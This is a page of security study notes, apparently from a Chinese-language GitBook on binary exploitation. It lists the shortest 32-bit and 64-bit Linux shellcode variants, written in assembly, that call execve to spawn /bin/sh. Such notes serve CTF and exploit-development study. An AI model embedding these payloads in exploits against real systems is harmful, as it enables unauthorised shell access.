Note
Search…
Note
Introduction
PWN
__libc_csu_init函数的通用gadget
_int_malloc源码分析
_IO_FILE利用思路总结
C++ 虚表分析
Fast_bin笔记
house_of_force
House_of_Roman
Linux_ShellCode
Return-to-dl-resolve原理及利用
Unlink利用原理
Unsorted_Bin_Attack
获取libc方法
利用main_arena泄露libc基址
整数溢出
重写.fini_array函数指针
Windows_SEH利用
Windows_Operating_System
Windows_Kernel
Virus_Analysis
Program
Miscellaneous
Linux_Operating_System
Linux_Kernel
IOT
Symbolic_Execution
Fuzz
CVE
Assembly
Andriod_Security
Powered By
GitBook
Linux_ShellCode
在寄存器都是非理想值情况下(shellcode可根据环境具体触发时寄存器的值做长度调整),我本着最优通用的原则,整理了Linux下32位和64位最短通用shellcode的编写
32位
有"\x00"最短 20 byte
1
shellcode
=
'''
2
xor ecx,ecx
3
mul ecx
4
mov al,0xb
5
push 0x68732f
6
push 0x6e69622f
7
mov ebx,esp
8
int 0x80
9
'''
10
shellcode
=
asm
(
shellcode
)
Copied!
无"\x00"最短 21 byte
1
xor ecx,ecx
2
mul ecx
3
push eax
4
mov al,0xb
5
push 0x68732f2f
6
push 0x6e69622f
7
mov ebx,esp
8
int 0x80
Copied!
标准shellcode 23 byte
1
xor ecx,ecx
2
xor edx,edx
3
push edx
4
push 0x68732f2f
5
push 0x6e69622f
6
mov ebx,esp
7
xor eax,eax
8
mov al,0xB
9
int 0x80
Copied!
64位
最短有"\x00" 22 byte
1
xor rsi,rsi
2
mul esi
3
mov rbx,0x68732f6e69622f
4
push rbx
5
push rsp
6
pop rdi
7
mov al, 59
8
syscall
Copied!
最短无"\x00" 23 byte
1
xor rsi,rsi
2
mul esi
3
push rax
4
mov rbx,0x68732f2f6e69622f
5
push rbx
6
push rsp
7
pop rdi
8
mov al, 59
9
syscall
Copied!
标准shellcode 31 byte
1
xor rdi,rdi
2
xor rsi,rsi
3
xor rdx,rdx
4
xor rax,rax
5
push rax
6
mov rbx,0x68732f2f6e69622f
7
push rbx
8
mov rdi,rsp
9
mov al,0x3b
10
syscall
Copied!
Previous
House_of_Roman
Next
Return-to-dl-resolve原理及利用
Last modified
2yr ago
Copy link
Contents
32位
64位